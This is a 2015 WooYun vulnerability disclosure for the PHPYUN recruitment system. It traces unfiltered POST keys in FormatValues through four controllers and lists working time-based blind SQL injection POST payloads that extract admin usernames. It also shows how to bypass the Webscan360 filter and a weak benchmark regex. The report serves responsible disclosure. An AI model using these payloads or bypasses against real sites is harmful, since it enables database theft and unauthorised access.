当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126835

漏洞标题:PHPYUN最新版Webscan绕过注入四处(可遍历全站信息,无需登录)

相关厂商:php云人才系统

漏洞作者: menmen519

提交时间:2015-07-16 15:10

修复时间:2015-10-14 15:40

公开时间:2015-10-14 15:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-16: 细节已通知厂商并且等待厂商处理中
2015-07-16: 厂商已经确认,细节仅向厂商公开
2015-07-19: 细节向第三方安全合作伙伴开放
2015-09-09: 细节向核心白帽子及相关领域专家公开
2015-09-19: 细节向普通白帽子公开
2015-09-29: 细节向实习白帽子公开
2015-10-14: 细节向公众公开

简要描述:

PHPYUN最新版Webscan绕过注入两处(可遍历全站信息,无需登录)

详细说明:

首先看问题文件:
tiny/index.class.php:

class index_controller extends common{
function index_action(){

session_start();
if($this->config['sy_wjl_web']=="2"){
header("location:".Url('error'));
}

if($_GET['keyword']=='请输入简历关键字,例如:会计'){
$_GET['keyword']='';
}
$M=$this->MODEL('tiny');
$ip = fun_ip_get();
$s_time=strtotime(date('Y-m-d 00:00:00'));
$m_tiny=$M->GetTinyresumeNum(array('login_ip'=>$ip,'`time`>\''.$s_time.'\''));
$num=$this->config['sy_tiny']-$m_tiny;
$CacheM=$this->MODEL('cache');
$CacheList=$CacheM->GetCache(array('user'));
$this->yunset($CacheList);
if($_POST['submit']){

$id=(int)$_POST['id'];
$authcode=md5($_POST['authcode']);
$password=md5($_POST['password']);
unset($_POST['authcode']);
unset($_POST['password']);
unset($_POST['submit']);
unset($_POST['id']);
$_POST['status']=$this->config['user_wjl'];
$_POST['login_ip']=$ip;
$_POST['time']=time();
$_POST['qq']=$_POST['qq'];

if($id!=""){
$arr=$M->GetTinyresumeOne(array('id'=>$id,'password'=>$password));
if(empty($arr)){
$this->ACT_layer_msg("密码不正确",8,$_SERVER['HTTP_REFERER']);
}

$M->UpdateTinyresume($_POST,array('id'=>$id));


跟踪UpdateTinyresume:

function UpdateTinyresume($Values=array(),$Where=array()){
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);
return $this->DB_update_all('resume_tiny',$ValuesStr,$WhereStr);
}


继续跟踪FormatValues

function FormatValues($Values){
$ValuesStr='';

foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}


看到这里说明key没有进行过滤,同样的问题文件也有一处
wap/tiny.class.php:

function add_action(){

$this->rightinfo();
if($this->config['sy_wjl_web']=="2"){
$data['msg']='很抱歉!该模块已关闭!';
$data['url']='index.php';
$this->yunset("layer",$data);
}
$this->get_moblie();
$TinyM=$this->MODEL('tiny');

if($_GET['id']){
$row=$TinyM->GetTinyresumeOne(array('id'=>$_GET[id]));
$this->yunset("row",$row);
}
if($_POST['submit']){
$_POST['status']=$this->config['user_wjl'];
$_POST['time']=time();
$_POST['username']=yun_iconv('utf-8','gbk',trim($_POST['username']));
$_POST['production']=yun_iconv('utf-8','gbk',trim($_POST['production']));
$_POST['job']=yun_iconv('utf-8','gbk',trim($_POST['job']));
$password=md5(trim($_POST['password']));
$type=trim($_POST['type']);
unset($_POST['submit']);
unset($_POST['type']);
$id=intval($_POST['id']);
if(!isset($_POST['id'])){
$_POST['password']=$password;
$nid=$this->obj->insert_into("resume_tiny",$_POST);
$nid?$data['msg']='操作成功!':$data['msg']='操作失败!';
$data['url']='index.php?c=tiny';
}else{
$arr=$TinyM->GetTinyresumeOne(array('id'=>$id,'password'=>$password));
if($arr['id']){
if($_POST['id']){
unset($_POST['id']);
$nid=$TinyM->UpdateTinyresume($_POST,array("id"=>$arr['id']));


原理是一样的,我们就拿第一个分析一下:
phpyun 有webscan360的防御,我们可以通过在url中添加参数使他时效,例如
http://localhost/phpyun40/upload/tiny/index.php?admin_dir=admin
然后phpyun也有自己的防御,但是这个可以绕过

function safesql($StrFiltKey,$StrFiltValue,$type){

$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

if($type=="GET")
{
$ArrFiltReq = $getfilter;
}elseif($type=="POST"){

$ArrFiltReq = $postfilter;


并且其中的空格会被替换为下划线
看看这个正则benchmark\s*?\\(\d+?
这个等于没有防御,benchmark((1000000),md5(123)),1)轻松就绕过了
有了这些条件,我们就可以轻松遍历整个数据库了
发送url:
http://localhost/phpyun40/upload/tiny/index.php?admin_dir=admin
postdata:
username=test123&sex=7&exp=18&job=ccc&mobile=15802991419&qq=11111111&production`%3Dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3D97,benchmark((1000000),md5(123)),1)%23=xxxxxxxxxx&password=111111&authcode=ag31&id=1&submit=%B7%A2%B2%BC
这个我们就猜测出来admin表里面的username第一个字母为a

1.png


然后就可以全站遍历了
3、
friend/index.class.php:

function saveinfo_action(){
if($_POST['submitBtn']){
$M=$this->MODEL('friend');
unset($_POST['submitBtn']);
$nid=$M->SaveFriendInfo($_POST,array("uid"=>$this->uid));
if($nid){
$state_content = "我刚修改了个性签名<br>[".$_POST['description']."]。";
$this->addstate($state_content);
$M->member_log("修改朋友圈基本信息");
$this->ACT_layer_msg("更新成功!",9,$_SERVER['HTTP_REFERER']);
}else{
$this->ACT_layer_msg("更新失败!",8,$_SERVER['HTTP_REFERER']);
}
}
}


跟进函数:
SaveFriendInfo

function SaveFriendInfo($Values=array(),$Where=array()){
if(empty($Where)){
$ValuesStr=$this->FormatValues($Values);
return $this->DB_insert_once('friend_info',$ValuesStr);
}else{
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);
return $this->DB_update_all('friend_info',$ValuesStr,$WhereStr);
}
}


跟进FormatValues:

function FormatValues($Values){
$ValuesStr='';

foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}


key没有进行过滤:
怎么绕过,前两个已经说过了,这里不多做赘述,这个直接不需要任何条件约束
url:
http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=index&m=friend&a=saveinfo
postdata:
uid`%3dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submitBtn=%B6%A9%D4%C4

3.png


4、once.class.php:

function add_action(){
$this->rightinfo();

if($this->config['sy_wzp_web']=="2"){
$data['msg']='很抱歉!该模块已关闭!';
$data['url']='index.php';
$this->yunset("layer",$data);
}
$this->get_moblie();
$TinyM=$this->MODEL('once');
if($_GET['id']){
$row=$TinyM->GetOncejobOne(array('id'=>$_GET[id]));
$row['edate']=round(($row['edate']-$row['ctime'])/3600/24) ;
$this->yunset("row",$row);
}
if($_POST['submit']){
$_POST=$this->post_trim($_POST);
$_POST['mans'] = (int)$_POST['mans'];
$_POST = yun_iconv('utf-8','gbk',$_POST);
$_POST['status']=$this->config['com_fast_status'];
$_POST['ctime']=time();
$_POST['edate']=strtotime("+".(int)$_POST['edate']." days");
$password=md5(trim($_POST['password']));
unset($_POST['submit']);
$id=intval($_POST['id']);
if($id<1){
$_POST['password']=$password;
$nid=$TinyM->AddOncejob($_POST);
$nid?$data['msg']='操作成功!':$data['msg']='操作失败!';
$data['url']='index.php?c=once';
}else{
$arr=$TinyM->GetOncejobOne(array('id'=>$id,'password'=>$password));
if($arr['id']){
if($_POST['id']){
unset($_POST['id']);
unset($_POST['password']);
$nid=$TinyM->UpdateOncejob($_POST,array("id"=>$arr['id']));


跟进去:
UpdateOncejob:

function UpdateOncejob($Values=array(),$Where=array()){
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);

return $this->DB_update_all('once_job',$ValuesStr,$WhereStr);
}


再跟进FormatValues:

function FormatValues($Values){
$ValuesStr='';

foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}


key没有进行过滤:
有两个问题要解决,就是
if($arr['id']){
这个逻辑怎么成立
阅读上下,只要当传递的id小于1的时候就会进行
if($id<1){
$_POST['password']=$password;
$nid=$TinyM->AddOncejob($_POST);
也就是说第一次id访问为空的时候,数据库就会插入一条id=1的或者id>1的记录
url:
http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
postdata:
mans=123&password=123&id=&submit=%B6%A9%D4%C4

1.png


然后我们后续就可以复制id为1,就可以走到问题的那个函数:
url:
http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
postdata:
mans=123&password=123&id=1&title`%3dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submit=%B6%A9%D4%C4

2.png


造成延时

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-16 15:38

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无